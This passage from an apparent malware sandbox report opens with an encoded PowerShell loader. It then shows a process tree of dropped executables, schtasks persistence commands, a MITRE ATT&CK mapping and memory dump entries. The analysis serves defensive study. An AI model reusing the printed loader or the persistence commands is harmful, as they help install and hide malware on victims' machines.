sNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"5⤵
-
-
C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\thost.exe"C:\Users\Admin\AppData\Local\Temp\Files\thost.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ISetup8.exe"C:\Users\Admin\AppData\Local\Temp\Files\ISetup8.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\u1ig.0.exe"C:\Users\Admin\AppData\Local\Temp\u1ig.0.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\u1ig.1.exe"C:\Users\Admin\AppData\Local\Temp\u1ig.1.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe"C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD14⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\crypted_d786fd3e.exe"C:\Users\Admin\AppData\Local\Temp\Files\crypted_d786fd3e.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dais123.exe"C:\Users\Admin\AppData\Local\Temp\Files\dais123.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ISetup2.exe"C:\Users\Admin\AppData\Local\Temp\Files\ISetup2.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\u26w.0.exe"C:\Users\Admin\AppData\Local\Temp\u26w.0.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\u26w.1.exe"C:\Users\Admin\AppData\Local\Temp\u26w.1.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ISetup6.exe"C:\Users\Admin\AppData\Local\Temp\Files\ISetup6.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\u18k.0.exe"C:\Users\Admin\AppData\Local\Temp\u18k.0.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\u18k.1.exe"C:\Users\Admin\AppData\Local\Temp\u18k.1.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Retailer_prog.exe"C:\Users\Admin\AppData\Local\Temp\Files\Retailer_prog.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\smell-the-roses.exe"C:\Users\Admin\AppData\Local\Temp\Files\smell-the-roses.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\RoulleteBotPro_x32-x64.exe"C:\Users\Admin\AppData\Local\Temp\Files\RoulleteBotPro_x32-x64.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghjk.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\dvchost.exe"C:\Users\Admin\AppData\Local\Temp\Files\dvchost.exe"2⤵
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"3⤵
-
C:\Windows\system32\mode.commode 65,104⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e file.zip -p1979614625696244291525413362 -oextracted4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_3.zip -oextracted4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_2.zip -oextracted4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\main\7z.exe7z.exe e extracted/file_1.zip -oextracted4⤵
-
-
C:\Windows\system32\attrib.exeattrib +H "winhostDhcp.exe"4⤵
- Views/modifies file attributes
-
-
C:\Users\Admin\AppData\Local\Temp\main\winhostDhcp.exe"winhostDhcp.exe"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\003z42i3\003z42i3.cmdline"5⤵
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\5esrmbz2\5esrmbz2.cmdline"5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Project_8.exe"C:\Users\Admin\AppData\Local\Temp\Files\Project_8.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\bullpen12.exe"C:\Users\Admin\AppData\Local\Temp\Files\bullpen12.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\amad.exe"C:\Users\Admin\AppData\Local\Temp\Files\amad.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\flt_shovemydiscoupyourarse.exe"C:\Users\Admin\AppData\Local\Temp\Files\flt_shovemydiscoupyourarse.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Assistenza%20Updater.exe"C:\Users\Admin\AppData\Local\Temp\Files\Assistenza%20Updater.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Files\niceeyestrain.exe"C:\Users\Admin\AppData\Local\Temp\Files\niceeyestrain.exe"2⤵
-
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240409103423.log C:\Windows\Logs\CBS\CbsPersist_20240409103423.cab1⤵
- Drops file in Windows directory
-
C:\Windows\system32\taskeng.exetaskeng.exe {EEE2D723-5612-4921-B2BB-E01975BFF8C9} S-1-5-21-2461186416-2307104501-1787948496-1000:MGILJUBR\Admin:Interactive:[1]1⤵
-
C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exeC:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe2⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"3⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"4⤵
- Creates scheduled task(s)
-
-
-
-
C:\Windows\system32\wscript.EXEC:\Windows\system32\wscript.EXE "C:\Users\Admin\AppData\Local\FuseTrack Solutions\TrackFuse.js"2⤵
-
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#llzqlmcx#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'Windows Upgrade Manager' /tr '''C:\Users\Admin\Windows Upgrade\wupgrdsv.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'Windows Upgrade Manager' -RunLevel 'Highest' -Force; }1⤵
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn "Windows Upgrade Manager" /tr "'C:\Users\Admin\Windows Upgrade\wupgrdsv.exe'"2⤵
- Creates scheduled task(s)
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /run /tn "Windows Upgrade Manager"1⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x01⤵
-
C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x11⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Hide Artifacts
1Hidden Files and Directories
1Impair Defenses
4Disable or Modify System Firewall
1Disable or Modify Tools
2Modify Registry
4Scripting
1Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
Loading Replay Monitor...
Downloads
winvnc.exe
Are.docx
ECGDAAFI
LimitSubmit.txt
94308059B57B3142E455B38A6EB92015
F0ACCF77CDCBFF39F6191887F6D2D357
94308059B57B3142E455B38A6EB92015
94308059B57B3142E455B38A6EB92015
94308059B57B3142E455B38A6EB92015
94308059B57B3142E455B38A6EB92015
94308059B57B3142E455B38A6EB92015
F0ACCF77CDCBFF39F6191887F6D2D357
1[1]
208925959.exe
2101319596.exe
350630453.exe
FCBAEHCAEG.exe
ISetup2.exe
LummaC2.exe
PCSupport.exe
WEBDOWN.EXE
appdata.exe
bullpen12.exe
cp.exe
d21cbe21e38b385a41a68c5e6dd32f4c.exe
elevator.exe
flt_shovemydiscoupyourarse.exe
ghjk.exe
jeditor.exe.mini
ma.exe
smell-the-roses.exe
timeSync.exe
up.exe
yoffens_crypted_EASY.exe
download.error
download.error
Tar8760.tmp
ioloDMLog.txt
ioloDMLog.txt
ketix.ini
7z.exe
main.bat
ntkrnlmp.exe
osloader.exe
tmp82D6.tmp.bat
u1ig.1.exe
SharedDataEvents
590aee7bdd69b59b.customDestinations-ms
G6BTYBODN4NJEHHFBX6J.temp
tbtnds.dat
mozglue.dll
nss3.dll
2089531801.exe
ISetup10.exe
first.exe
pinf.exe
riviera_tour_sochi.pdf.exe
swiiii.exe
syncUpd.exe
memory/384-733-0x0000000002A10000-0x0000000002A90000-memory.dmp
memory/384-739-0x000007FEECB10000-0x000007FEED4AD000-memory.dmp
memory/384-720-0x000000001B420000-0x000000001B702000-memory.dmp
memory/384-723-0x0000000002270000-0x0000000002278000-memory.dmp
memory/384-696-0x0000000002A10000-0x0000000002A90000-memory.dmp
memory/384-697-0x0000000002A10000-0x0000000002A90000-memory.dmp
memory/384-694-0x000007FEECB10000-0x000007FEED4AD000-memory.dmp
memory/472-647-0x00000000021F0000-0x00000000021F1000-memory.dmp
memory/540-587-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/540-148-0x0000000003D60000-0x0000000004158000-memory.dmp
memory/540-156-0x0000000003D60000-0x0000000004158000-memory.dmp
memory/540-157-0x0000000004160000-0x0000000004A4B000-memory.dmp
memory/540-161-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/948-560-0x0000000074450000-0x0000000074B3E000-memory.dmp
memory/948-546-0x0000000001010000-0x000000000103E000-memory.dmp
memory/984-790-0x0000000000870000-0x0000000000D74000-memory.dmp
memory/1512-171-0x0000000000400000-0x0000000000474000-memory.dmp
memory/1512-195-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-205-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-190-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-189-0x0000000004500000-0x00000000045DC000-memory.dmp
memory/1512-219-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-180-0x0000000000400000-0x0000000000474000-memory.dmp
memory/1512-175-0x0000000000400000-0x0000000000474000-memory.dmp
memory/1512-178-0x0000000000400000-0x0000000000474000-memory.dmp
memory/1512-217-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-193-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-207-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-173-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1512-172-0x0000000000400000-0x0000000000474000-memory.dmp
memory/1512-211-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-215-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-213-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-169-0x0000000000400000-0x0000000000474000-memory.dmp
memory/1512-167-0x0000000000400000-0x0000000000474000-memory.dmp
memory/1512-191-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-197-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-199-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-203-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-209-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1512-201-0x0000000004500000-0x00000000045D6000-memory.dmp
memory/1608-142-0x0000000074450000-0x0000000074B3E000-memory.dmp
memory/1608-184-0x0000000074450000-0x0000000074B3E000-memory.dmp
memory/1608-135-0x0000000000BE0000-0x0000000000C5C000-memory.dmp
memory/1608-147-0x00000000021D0000-0x00000000041D0000-memory.dmp
memory/1704-86-0x0000000000400000-0x0000000000569000-memory.dmp
memory/1704-85-0x0000000000400000-0x0000000000569000-memory.dmp
memory/1704-84-0x00000000002D0000-0x000000000033F000-memory.dmp
memory/1704-83-0x00000000006F0000-0x00000000007F0000-memory.dmp
memory/1872-705-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmp
memory/1872-538-0x0000000001150000-0x0000000001166000-memory.dmp
memory/1872-564-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmp
memory/1872-714-0x000000001AD20000-0x000000001ADA0000-memory.dmp
memory/1872-572-0x000000001AD20000-0x000000001ADA0000-memory.dmp
memory/1984-612-0x0000000000400000-0x0000000002D22000-memory.dmp
memory/1984-72-0x0000000002E90000-0x0000000002F90000-memory.dmp
memory/1984-323-0x0000000002E90000-0x0000000002F90000-memory.dmp
memory/1984-324-0x0000000000220000-0x0000000000247000-memory.dmp
memory/1984-550-0x0000000000400000-0x0000000002D22000-memory.dmp
memory/1984-608-0x0000000002E90000-0x0000000002F90000-memory.dmp
memory/1984-87-0x0000000061E00000-0x0000000061EF3000-memory.dmp
memory/1984-74-0x0000000000400000-0x0000000002D22000-memory.dmp
memory/1984-152-0x0000000000400000-0x0000000002D22000-memory.dmp
memory/1984-73-0x0000000000220000-0x0000000000247000-memory.dmp
memory/2040-1-0x0000000074450000-0x0000000074B3E000-memory.dmp
memory/2040-141-0x0000000074450000-0x0000000074B3E000-memory.dmp
memory/2040-143-0x0000000000670000-0x00000000006B0000-memory.dmp
memory/2040-0-0x0000000000BC0000-0x0000000000BC8000-memory.dmp
memory/2040-2-0x0000000000670000-0x00000000006B0000-memory.dmp
memory/2452-713-0x0000000003D50000-0x0000000004148000-memory.dmp
memory/2452-715-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/2544-789-0x000007FEEC170000-0x000007FEECB0D000-memory.dmp
memory/2544-759-0x0000000001F30000-0x0000000001F38000-memory.dmp
memory/2544-756-0x000000001B2B0000-0x000000001B592000-memory.dmp
memory/2544-777-0x00000000027A0000-0x0000000002820000-memory.dmp
memory/2544-791-0x00000000027A4000-0x00000000027A7000-memory.dmp
memory/2544-773-0x000007FEEC170000-0x000007FEECB0D000-memory.dmp
memory/2544-779-0x00000000027A0000-0x0000000002820000-memory.dmp
memory/2564-695-0x0000000003C60000-0x0000000004058000-memory.dmp
memory/2564-604-0x0000000003C60000-0x0000000004058000-memory.dmp
memory/2564-605-0x0000000004060000-0x000000000494B000-memory.dmp
memory/2564-606-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/2564-698-0x0000000000400000-0x00000000022E9000-memory.dmp
memory/2716-722-0x00000000010C0000-0x0000000001140000-memory.dmp
memory/2716-685-0x00000000012A0000-0x00000000017A4000-memory.dmp
memory/2716-701-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmp
memory/2716-721-0x0000000000630000-0x0000000000631000-memory.dmp
memory/2716-734-0x000007FEF4FE0000-0x000007FEF59CC000-memory.dmp
memory/3060-613-0x0000000074450000-0x0000000074B3E000-memory.dmp
memory/3060-615-0x0000000000860000-0x0000000000880000-memory.dmp
memory/3060-652-0x0000000002020000-0x0000000002060000-memory.dmp
memory/3060-670-0x0000000074450000-0x0000000074B3E000-memory.dmp